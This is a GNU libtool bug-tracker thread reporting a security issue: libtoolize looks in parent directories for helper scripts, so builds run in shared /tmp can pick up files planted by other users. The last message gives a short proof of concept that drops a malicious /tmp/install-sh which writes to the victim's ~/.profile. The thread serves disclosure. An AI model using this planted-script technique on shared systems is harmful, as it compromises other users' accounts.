GNU logs - #21951, boring messages

Message sent to bug-libtool@HIDDEN:

Subject: bug#21951: [security] libtoolize behavior depends on parent directories
Resent-From: Vincent Lefevre <vincent@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: bug-libtool@HIDDEN
Resent-Date: Wed, 18 Nov 2015 11:07:02 +0000
Resent-Message-ID: <handler.21951.B.144784477812466 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
To: 21951 <at> debbugs.gnu.org
Cc: Paul Zimmermann <Paul.Zimmermann@HIDDEN>
Date: Wed, 18 Nov 2015 12:05:58 +0100
From: Vincent Lefevre <vincent@HIDDEN>
Message-ID: <20151118110558.GA26362@HIDDEN>
Mail-Followup-To: Vincent Lefevre <vincent@HIDDEN>, bug-libtool@HIDDEN,
 Paul Zimmermann <Paul.Zimmermann@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
User-Agent: Mutt/1.5.24-6524-vl-r83103 (2015-11-09)
Content-Transfer-Encoding: quoted-printable
Precedence: list
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>

The libtoolize behavior depends on parent directories, which is
a security issue (in addition to surprising behavior) because
files may belong to other users, e.g. if the build is done in
some /tmp subdirectory. I don't know what the other users can
do exactly (in addition to make a build fail), though...

FYI, there was some confusion because we got errors like:

zimmerma@tarte:/tmp/mpfr$ ./autogen.sh
autoreconf: Entering directory `.'
autoreconf: configure.ac: not using Gettext
autoreconf: running: aclocal --force --warnings=3Dall -I m4
autoreconf: configure.ac: tracing
autoreconf: running: libtoolize --copy --force
libtoolize: putting macros in AC_CONFIG_MACRO_DIR, `m4'.
libtoolize: copying file `m4/libtool.m4'
libtoolize: copying file `m4/ltoptions.m4'
libtoolize: copying file `m4/ltsugar.m4'
libtoolize: copying file `m4/ltversion.m4'
libtoolize: copying file `m4/lt~obsolete.m4'
autoreconf: running: /usr/bin/autoconf --force --warnings=3Dall
autoreconf: configure.ac: not using Autoheader
autoreconf: running: automake --add-missing --copy --force-missing --warn=
ings=3Dall
configure.ac:275: installing './ar-lib'
configure.ac:270: installing './compile'
configure.ac:55: installing './config.guess'
configure.ac:55: installing './config.sub'
configure.ac:35: installing './install-sh'
configure.ac:486: error: required file './ltmain.sh' not found
[...]

After doing a diff of the libtoolize trace (sh -x ...) between
two different machines, I saw:

 + test -f ./install-sh
 + test -f ./install.sh
 + test -f ../install-sh
 + test -f ../install.sh
-+ auxdir=3D..
-+ break
-+ test -n ..
++ test -f ../../install-sh
++ test -f ../../install.sh
++ test -n=20
++ auxdir=3D.

which was the cause of the error.

--=20
Vincent Lef=E8vre <vincent@HIDDEN> - Web: <https://www.vinc17.net/>
100% accessible validated (X)HTML - Blog: <https://www.vinc17.net/blog/>
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Message sent:

Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-Mailer: MIME-tools 5.503 (Entity 5.503)
Content-Type: text/plain; charset=utf-8
X-Loop: help-debbugs@HIDDEN
From: help-debbugs@HIDDEN (GNU bug Tracking System)
To: Vincent Lefevre <vincent@HIDDEN>
Subject: bug#21951: Acknowledgement ([security] libtoolize behavior
 depends on parent directories)
Message-ID: <handler.21951.B.144784477812466.ack <at> debbugs.gnu.org>
References: <20151118110558.GA26362@HIDDEN>
X-Gnu-PR-Message: ack 21951
X-Gnu-PR-Package: libtool
Reply-To: 21951 <at> debbugs.gnu.org
Date: Wed, 18 Nov 2015 11:07:02 +0000

Thank you for filing a new bug report with debbugs.gnu.org.

This is an automatically generated reply to let you know your message
has been received.

Your message is being forwarded to the package maintainers and other
interested parties for their attention; they will reply in due course.

Your message has been sent to the package maintainer(s):
 bug-libtool@HIDDEN

If you wish to submit further information on this problem, please
send it to 21951 <at> debbugs.gnu.org.

Please do not send mail to help-debbugs@HIDDEN unless you wish
to report a problem with the Bug-tracking system.

--=20
21951: http://debbugs.gnu.org/cgi/bugreport.cgi?bug=3D21951
GNU Bug Tracking System
Contact help-debbugs@HIDDEN with problems

Message sent to bug-libtool@HIDDEN:

Subject: bug#21951: [security] libtoolize behavior depends on parent directories
Resent-From: Vincent Lefevre <vincent@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: bug-libtool@HIDDEN
Resent-Date: Wed, 18 Nov 2015 11:10:02 +0000
Resent-Message-ID: <handler.21951.B21951.144784499812808 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
To: 21951 <at> debbugs.gnu.org
Cc: Paul Zimmermann <Paul.Zimmermann@HIDDEN>
Date: Wed, 18 Nov 2015 12:09:37 +0100
From: Vincent Lefevre <vincent@HIDDEN>
Message-ID: <20151118110937.GG6417@HIDDEN>
References: <20151118110558.GA26362@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <20151118110558.GA26362@HIDDEN>
User-Agent: Mutt/1.5.24-6524-vl-r83103 (2015-11-09)
Precedence: list
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>

I forgot to say that this was on a Debian/unstable machine with:
libtoolize (GNU libtool) 2.4.2

But the source of the latest version 2.4.6 shows the same problem.

-- 
Vincent Lef�vre <vincent@HIDDEN> - Web: <https://www.vinc17.net/>
100% accessible validated (X)HTML - Blog: <https://www.vinc17.net/blog/>
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Message sent to bug-libtool@HIDDEN:

Subject: bug#21951: [security] libtoolize behavior depends on parent directories
Resent-From: Vincent Lefevre <vincent@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: bug-libtool@HIDDEN
Resent-Date: Sat, 06 Aug 2016 17:10:02 +0000
Resent-Message-ID: <handler.21951.B21951.147050339012981 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
To: 21951 <at> debbugs.gnu.org, 805454@HIDDEN
Date: Sat, 6 Aug 2016 19:09:45 +0200
From: Vincent Lefevre <vincent@HIDDEN>
Message-ID: <20160806170945.GA7066@HIDDEN>
References: <20151118110558.GA26362@HIDDEN>
 <20151118110937.GG6417@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <20151118110937.GG6417@HIDDEN>
User-Agent: Mutt/1.6.2-6749-vl-r90618 (2016-08-02)
Precedence: list
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>

Could this bug be eventually fixed?

One can compromise other users' account for those who run things
from /tmp subdirectories, e.g.

User1:
  echo "echo Hacked >> ~/.profile" > /tmp/install-sh
  chmod 755 /tmp/install-sh
  cp /tmp/install-sh /tmp/config.guess

User2:
* Have some libtool-based source in /tmp/some_dir
* From this directory, run:
  autoreconf -i
  ./configure

The consequence is that User2 has "Hacked" written at the end of
his .profile file. Of course, one can do much worse...

-- 
Vincent Lef�vre <vincent@HIDDEN> - Web: <https://www.vinc17.net/>
100% accessible validated (X)HTML - Blog: <https://www.vinc17.net/blog/>
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Last modified: Mon, 25 Nov 2019 12:00:02 UTC

GNU bug tracking system
Copyright (C) 1999 Darren O. Benham, 1997 nCipher Corporation Ltd, 1994-97 Ian Jackson.